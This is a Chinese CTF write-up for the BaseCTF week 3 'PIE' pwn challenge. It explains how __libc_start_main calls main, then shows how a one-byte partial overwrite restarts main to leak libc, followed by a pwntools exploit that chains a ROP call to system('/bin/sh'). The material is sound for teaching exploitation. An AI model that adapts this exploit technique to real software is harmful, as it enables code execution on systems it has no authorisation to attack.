BaseCTF week3 PWN PIE
前置知识
PIE的概念
有关__libc_start_main的文章
不过其实就算没看懂这篇文章问题也不大,只要是题目做多了的话都能知道一点就是,正常gcc编译出来的elf程序都会经历一个_start
和__libc_start_main
的过程。
这个阶段在程序里体现为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| .text:00000000000010A0 public _start .text:00000000000010A0 _start proc near ; DATA XREF: LOAD:0000000000000018↑o .text:00000000000010A0 ; __unwind { .text:00000000000010A0 endbr64 .text:00000000000010A4 xor ebp, ebp .text:00000000000010A6 mov r9, rdx ; rtld_fini .text:00000000000010A9 pop rsi ; argc .text:00000000000010AA mov rdx, rsp ; ubp_av .text:00000000000010AD and rsp, 0FFFFFFFFFFFFFFF0h .text:00000000000010B1 push rax .text:00000000000010B2 push rsp ; stack_end .text:00000000000010B3 xor r8d, r8d ; fini .text:00000000000010B6 xor ecx, ecx ; init .text:00000000000010B8 lea rdi, main ; main .text:00000000000010BF call cs:__libc_start_main_ptr .text:00000000000010C5 hlt .text:00000000000010C5 ; } // starts at 10A0 .text:00000000000010C5 _start endp
|
这段部分如果翻源码可以发现其实是直接用汇编写的。我们只需要关注一个点,执行__libc_start_main的时候rdi寄存器里存的是main的地址。
紧接着我们来看看__libc_start_main
,但是这个程序很长,我们只关注部分:
1 2 3 4 5
| .text:0000000000029E33 loc_29E33: ; CODE XREF: __libc_start_main+124↓j .text:0000000000029E33 mov rdx, r12 .text:0000000000029E36 mov esi, ebp .text:0000000000029E38 mov rdi, r13 .text:0000000000029E3B call sub_29D10
|
call了一个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| .text:0000000000029D10 ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64) .text:0000000000029D10 sub_29D10 proc near ; CODE XREF: __libc_start_main+7B↓p .text:0000000000029D10 .text:0000000000029D10 var_90 = qword ptr -90h .text:0000000000029D10 var_84 = dword ptr -84h .text:0000000000029D10 var_80 = qword ptr -80h .text:0000000000029D10 var_78 = byte ptr -78h .text:0000000000029D10 var_30 = qword ptr -30h .text:0000000000029D10 var_28 = qword ptr -28h .text:0000000000029D10 var_10 = qword ptr -10h .text:0000000000029D10 .text:0000000000029D10 ; __unwind { .text:0000000000029D10 push rax .text:0000000000029D11 pop rax .text:0000000000029D12 sub rsp, 98h .text:0000000000029D19 mov [rsp+98h+var_90], rdi <-- 1 .text:0000000000029D1E lea rdi, [rsp+98h+var_78] ; env .text:0000000000029D23 mov [rsp+98h+var_84], esi .text:0000000000029D27 mov [rsp+98h+var_80], rdx .text:0000000000029D2C mov rax, fs:28h .text:0000000000029D35 mov [rsp+98h+var_10], rax .text:0000000000029D3D xor eax, eax .text:0000000000029D3F call _setjmp .text:0000000000029D44 endbr64 .text:0000000000029D48 test eax, eax .text:0000000000029D4A jnz short loc_29D97 .text:0000000000029D4C mov rax, fs:300h .text:0000000000029D55 mov [rsp+98h+var_30], rax .text:0000000000029D5A mov rax, fs:2F8h .text:0000000000029D63 mov [rsp+98h+var_28], rax .text:0000000000029D68 lea rax, [rsp+98h+var_78] .text:0000000000029D6D mov fs:300h, rax .text:0000000000029D76 mov rax, cs:environ_ptr .text:0000000000029D7D mov edi, [rsp+98h+var_84] .text:0000000000029D81 mov rsi, [rsp+98h+var_80] .text:0000000000029D86 mov rdx, [rax] .text:0000000000029D89 mov rax, [rsp+98h+var_90] <-- 2 .text:0000000000029D8E call rax <-- 3 .text:0000000000029D90 mov edi, eax .text:0000000000029D92 .text:0000000000029D92 loc_29D92: ; CODE XREF: sub_29D10+AA↓j .text:0000000000029D92 call exit ...
|
其实这个函数就是pwndbg里显示的__libc_start_call_main
。关注标注出来的几行可以发现rdi最后是被传入rax后被call了,才正式进入了main函数开始执行程序流程。换个角度来看,main函数的返回地址就是mov edi,eax
那一行,紧接着就exit了。
BaseCTF week3 PIE题目分析
题目其实非常简单,也很简短。开了PIE保护。
1 2 3 4 5 6 7 8 9
| int __fastcall main(int argc, const char **argv, const char **envp) { char buf[256];
init(argc, argv, envp); read(0, buf, 0x200uLL); printf("you said %s", buf); return 0; }
|
一个溢出,一次打印。问题在于这题既没有后门,也没有说把溢出放在一个子函数里,而是放在了main函数,那就导致了其返回地址是一个libc地址,没法直接部分写返回main。因为只有一次机会,没法做到同时泄露地址又写进去一个地址,所以也只有可能用部分写了。所以考虑用ret2__libc_start_main
来重启main函数。
一开始调试看到返回地址是__libc_start_call_main+128
(0x29D90),所以就想着我要不直接把那个地址减去108,然后填回去(0x29D10),刚好只有最后一个字节改变了。但是发现打不通,最后会卡在movaps。然后尝试绕过第一个push指令,还是不行,rax是非法地址。
然后尝试填__libc_start_main
的首地址(0x29DC0),依然是上面两个问题。所以我就打开libc文件来看汇编了,发现__libc_start_call_main
这个函数前半部分基本上都是在进行寄存器状态的保存。后面尝试了几次发现最后一个字节从1e到89都是可以用来打通的。所以开始找原因,于是就有了上面前置知识那样的分析。
其实最大的问题也就发生在那个rdi身上,如果他存着main的函数地址,那么main是可以被正常启动的。但是很显然程序不会无缘无故把main函数存到rdi里。所以如果跳过保存rdi到栈上那一步就能够正常运行了。
能正常运行意味着,栈上对应位置确实存着main的函数地址,这是怎么回事呢?我们动调看看。
程序从rsp+8处取main地址,栈刚好满足。这是因为main函数执行之前就存在过__libc_start_main函数的栈帧,而main函数正常返回也会回到这个栈帧里来。换句话说,只要我在之前的操作中没有破坏到这个地方,那么函数就能正常从栈中取到main地址,从而实现重启main函数。
那这道题下面就很简单,因为可以实现重启main,那我们就可以利用第一次printf覆盖\x00带出libc地址,然后获取libc基址,第二次回到main函数的时候再ROP执行binsh即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
r = process('./vuln')
libc = ELF('./libc.so.6')
payload = b'a'*0x108+b'\x1e'
r.send(payload)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x29d1e print(hex(libc_base)) rdi = libc_base+0x2a3e5 ret = libc_base+0x29139 system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b'a'*0x108+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr) r.sendline(payload) r.interactive()
r.interactive()
|